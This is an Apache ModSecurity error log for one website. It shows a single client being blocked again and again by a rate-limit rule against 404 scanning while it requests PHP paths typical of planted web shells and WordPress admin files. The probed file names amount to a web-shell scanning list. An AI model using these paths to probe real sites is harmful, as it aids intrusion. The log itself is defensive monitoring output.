[Fri Feb 13 18:59:53.991476 2026] [:error] [pid 46821:tid 46841] [client 51.103.136.17:5569] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aY8EKY6G1N5YSq0J0gcIWwAAAVI"]
[Fri Feb 13 18:59:54.484970 2026] [:error] [pid 47358:tid 47362] [client 51.103.136.17:61383] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aY8EKsQFBuVVUQTESUwIGgAAAoE"]
[Fri Feb 13 18:59:54.978787 2026] [:error] [pid 49225:tid 49298] [client 51.103.136.17:5593] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aY8EKjwH8-zGxtAd3jv93wAAAIQ"]
[Fri Feb 13 18:59:55.531439 2026] [:error] [pid 46821:tid 46837] [client 51.103.136.17:61426] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aY8EK46G1N5YSq0J0gcIXQAAAU4"]
[Fri Feb 13 18:59:56.058830 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:56380] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aY8ELEbWJwYCVF39z6s0IQAAAcM"]
[Fri Feb 13 18:59:56.543009 2026] [:error] [pid 47358:tid 47376] [client 51.103.136.17:5593] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aY8ELMQFBuVVUQTESUwIHQAAAoo"]
[Fri Feb 13 18:59:57.124575 2026] [:error] [pid 18097:tid 18105] [client 51.103.136.17:54701] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aY8ELXFzYiQ_BfaDDlYiRAAAAYY"]
[Fri Feb 13 18:59:57.613114 2026] [:error] [pid 49223:tid 49249] [client 51.103.136.17:55568] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aY8ELR8A_fZBamNLnfVNJQAAABE"]
[Fri Feb 13 18:59:58.085240 2026] [:error] [pid 49335:tid 49347] [client 51.103.136.17:48347] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aY8ELqp--SFY2nwOiqlfcgAAAMo"]
[Fri Feb 13 18:59:58.576687 2026] [:error] [pid 47575:tid 47605] [client 51.103.136.17:54690] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aY8ELgIPBuXb07mA_mS8PAAAAtg"]
[Fri Feb 13 18:59:59.064295 2026] [:error] [pid 47080:tid 47100] [client 51.103.136.17:38221] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aY8EL0bWJwYCVF39z6s0IwAAAcw"]
[Fri Feb 13 18:59:59.550411 2026] [:error] [pid 47575:tid 47601] [client 51.103.136.17:54683] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aY8ELwIPBuXb07mA_mS8QAAAAtQ"]
[Fri Feb 13 19:00:00.181509 2026] [:error] [pid 49335:tid 49337] [client 51.103.136.17:23786] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aY8EMKp--SFY2nwOiqlfdAAAAMA"]
[Fri Feb 13 19:00:00.775125 2026] [:error] [pid 47143:tid 47232] [client 51.103.136.17:38250] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aY8EMMhV30NbMarHJLs51gAAAlI"]
[Fri Feb 13 19:00:01.336068 2026] [:error] [pid 47080:tid 47103] [client 51.103.136.17:60927] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aY8EMUbWJwYCVF39z6s0KgAAAc8"]
[Fri Feb 13 19:00:01.840292 2026] [:error] [pid 47080:tid 47104] [client 51.103.136.17:26830] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY8EMUbWJwYCVF39z6s0KwAAAdA"]
[Fri Feb 13 19:00:02.342207 2026] [:error] [pid 47575:tid 47599] [client 51.103.136.17:33803] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY8EMgIPBuXb07mA_mS8QwAAAtI"]
[Fri Feb 13 19:00:02.825677 2026] [:error] [pid 49335:tid 49360] [client 51.103.136.17:50034] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY8EMqp--SFY2nwOiqlfdwAAANc"]
[Fri Feb 13 19:00:03.328377 2026] [:error] [pid 49223:tid 49250] [client 51.103.136.17:28260] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY8EMx8A_fZBamNLnfVNKAAAABI"]
[Fri Feb 13 19:00:03.841842 2026] [:error] [pid 49223:tid 49237] [client 51.103.136.17:38236] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aY8EMx8A_fZBamNLnfVNKwAAAAU"]
[Fri Feb 13 19:00:04.364749 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:44426] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aY8ENB8A_fZBamNLnfVNLAAAAAQ"]
[Fri Feb 13 19:00:04.863453 2026] [:error] [pid 49335:tid 49345] [client 51.103.136.17:55650] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aY8ENKp--SFY2nwOiqlfewAAAMg"]
[Fri Feb 13 19:00:05.468027 2026] [:error] [pid 47080:tid 47096] [client 51.103.136.17:48348] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aY8ENUbWJwYCVF39z6s0NQAAAcg"]
[Fri Feb 13 19:00:06.028782 2026] [:error] [pid 49335:tid 49355] [client 51.103.136.17:5593] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY8ENqp--SFY2nwOiqlffgAAANI"]
[Fri Feb 13 19:00:06.554678 2026] [:error] [pid 47358:tid 47362] [client 51.103.136.17:55567] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY8ENsQFBuVVUQTESUwIKwAAAoE"]
[Fri Feb 13 19:00:07.336055 2026] [:error] [pid 51243:tid 51254] [client 51.103.136.17:35208] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY8EN8im7ZTAHzi7xZvCSQAAAQk"]
[Fri Feb 13 19:00:07.948086 2026] [:error] [pid 47575:tid 47591] [client 51.103.136.17:50021] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY8ENwIPBuXb07mA_mS8RgAAAss"]
[Fri Feb 13 19:00:08.612690 2026] [:error] [pid 47143:tid 47231] [client 51.103.136.17:44474] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aY8EOMhV30NbMarHJLs53gAAAlE"]
[Fri Feb 13 19:00:09.140520 2026] [:error] [pid 47143:tid 47230] [client 51.103.136.17:36965] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aY8EOchV30NbMarHJLs54gAAAlA"]
[Fri Feb 13 19:00:09.758062 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:23765] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aY8EOR8A_fZBamNLnfVNNAAAAA4"]
[Fri Feb 13 19:00:10.429819 2026] [:error] [pid 47080:tid 47089] [client 51.103.136.17:54710] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aY8EOkbWJwYCVF39z6s0OAAAAcE"]
[Fri Feb 13 19:00:10.987984 2026] [:error] [pid 49223:tid 49236] [client 51.103.136.17:39734] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aY8EOh8A_fZBamNLnfVNOAAAAAQ"]
[Fri Feb 13 19:00:11.561348 2026] [:error] [pid 49225:tid 49303] [client 51.103.136.17:55304] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aY8EOzwH8-zGxtAd3jv97AAAAIk"]
[Fri Feb 13 19:00:12.049577 2026] [:error] [pid 47575:tid 47595] [client 51.103.136.17:51908] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aY8EPAIPBuXb07mA_mS8SwAAAs4"]
[Fri Feb 13 19:00:12.547082 2026] [:error] [pid 49223:tid 49232] [client 51.103.136.17:26175] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aY8EPB8A_fZBamNLnfVNPQAAAAA"]
[Fri Feb 13 19:00:13.111668 2026] [:error] [pid 49335:tid 49356] [client 51.103.136.17:34811] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY8EPap--SFY2nwOiqlfggAAANM"]
[Fri Feb 13 19:00:13.622837 2026] [:error] [pid 47575:tid 47599] [client 51.103.136.17:39672] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY8EPQIPBuXb07mA_mS8TwAAAtI"]
[Fri Feb 13 19:00:14.117830 2026] [:error] [pid 49223:tid 49245] [client 51.103.136.17:50369] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY8EPh8A_fZBamNLnfVNPwAAAA0"]
[Fri Feb 13 19:00:14.649166 2026] [:error] [pid 47080:tid 47093] [client 51.103.136.17:56012] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY8EPkbWJwYCVF39z6s0OwAAAcU"]
[Fri Feb 13 19:00:15.128165 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:40165] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY8EPx8A_fZBamNLnfVNQgAAAA4"]
[Fri Feb 13 19:00:15.609652 2026] [:error] [pid 18097:tid 18118] [client 51.103.136.17:47123] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY8EP3FzYiQ_BfaDDlYiVwAAAZM"]
[Fri Feb 13 19:00:16.168300 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:60341] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY8EQMhV30NbMarHJLs58wAAAkw"]
[Fri Feb 13 19:00:16.665272 2026] [:error] [pid 49335:tid 49343] [client 51.103.136.17:60304] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY8EQKp--SFY2nwOiqlfhwAAAMY"]
[Fri Feb 13 19:00:17.287029 2026] [:error] [pid 49335:tid 49361] [client 51.103.136.17:60322] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY8EQap--SFY2nwOiqlfiAAAANg"]
[Fri Feb 13 19:00:17.842819 2026] [:error] [pid 51243:tid 51267] [client 51.103.136.17:48755] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY8EQcim7ZTAHzi7xZvCTQAAARY"]
[Fri Feb 13 19:00:18.389221 2026] [:error] [pid 47358:tid 47373] [client 51.103.136.17:5948] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY8EQsQFBuVVUQTESUwILQAAAog"]
[Fri Feb 13 19:00:18.896784 2026] [:error] [pid 49335:tid 49351] [client 51.103.136.17:5944] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY8EQqp--SFY2nwOiqlfjAAAAM4"]
[Fri Feb 13 19:00:19.412213 2026] [:error] [pid 51243:tid 51245] [client 51.103.136.17:45439] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY8EQ8im7ZTAHzi7xZvCUwAAAQA"]
[Fri Feb 13 19:00:19.967248 2026] [:error] [pid 49223:tid 49234] [client 51.103.136.17:39247] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY8EQx8A_fZBamNLnfVNSQAAAAI"]
[Fri Feb 13 19:00:20.532787 2026] [:error] [pid 49223:tid 49235] [client 51.103.136.17:54710] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY8ERB8A_fZBamNLnfVNSgAAAAM"]
[Fri Feb 13 19:00:21.044359 2026] [:error] [pid 49223:tid 49242] [client 51.103.136.17:23697] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY8ERR8A_fZBamNLnfVNTQAAAAo"]
[Fri Feb 13 19:00:21.608302 2026] [:error] [pid 49223:tid 49245] [client 51.103.136.17:53109] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY8ERR8A_fZBamNLnfVNUAAAAA0"]
[Fri Feb 13 19:00:22.182742 2026] [:error] [pid 49223:tid 49255] [client 51.103.136.17:5355] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY8ERh8A_fZBamNLnfVNUQAAABc"]
[Fri Feb 13 19:00:22.664327 2026] [:error] [pid 49335:tid 49352] [client 51.103.136.17:53083] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY8ERqp--SFY2nwOiqlflQAAAM8"]
[Fri Feb 13 19:00:23.156474 2026] [:error] [pid 47080:tid 47089] [client 51.103.136.17:36304] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY8ER0bWJwYCVF39z6s0QQAAAcE"]
